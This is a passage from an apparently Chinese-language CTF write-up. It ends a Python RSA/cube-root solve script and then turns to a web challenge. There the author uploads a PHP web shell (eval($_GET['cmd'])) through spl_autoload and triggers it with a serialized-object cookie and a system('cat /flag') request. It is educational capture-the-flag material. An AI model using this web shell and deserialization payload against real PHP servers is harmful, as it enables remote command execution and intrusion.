26 le = (c - i ** 3) % n
27 le = le * gmpy2.invert(3 * (i ** 2), n)
28 x = le // pr
29 i = i + x * pr
30 print(pow(i, e, n) == c)
31 print(n2s(int(i)))
存在 spl_autoload 函数,上传文件 test.inc
:
1<?php
2eval($_GET['cmd']);
记下返回的文件名 d6e2555175cf7f64910cbfce15842643.inc
后自动包含
1GET /showfile.php?cmd=system('cat+/flag')%3b HTTP/1.1
2Host: eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com
3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6Accept-Encoding: gzip, deflate
7Connection: close
8Referer: http://eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com/
9Cookie: O%3a32%3a"D6e2555175cf7f64910cbfce15842643"%3a0%3a{}
10Upgrade-Insecure-Requests: 1
11